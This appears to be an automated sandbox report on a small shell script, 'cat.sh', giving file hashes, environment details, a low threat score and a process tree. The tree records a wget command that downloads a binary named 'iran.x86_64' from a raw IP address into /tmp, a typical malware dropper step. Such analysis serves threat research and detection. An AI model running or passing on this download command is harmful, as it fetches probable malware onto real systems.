4f9c46e77cd0e231265d820dbb417030d7365b1a46242863dfd312d9ebbf82df

Analysis

max time kernel
37s
max time network
39s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20261019-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26/10/2026, 12:22

Target
cat.sh
Size 1KB
Sample261026-pj7pgaba92
SHA256 4f9c46e77cd0e231265d820dbb417030d7365b1a46242863dfd312d9ebbf82df
MD5 fe48d1db0ca9dec106e1913d98fc3667
SHA1 4491af8c16d97da1e3dafd2c360bee1359010d2e
SHA512 360e529f7beb415fd0fe5a926b2724b0a9c673c73c32a250e1223dae561c9dfac05b8fdd5a1556d20bf01cb16fd72a2e4d74f8d507b668399b7a76ffe51ba1d3
TLSH
T14B3144993170EE71A58CCF4DB0E146E45247E6C9BA930AF2E4433D6DB8D9E40BC17A35
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86_64	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
PID:1511
- /usr/bin/wget
  wget http://94.154.43.44/iran.x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:1512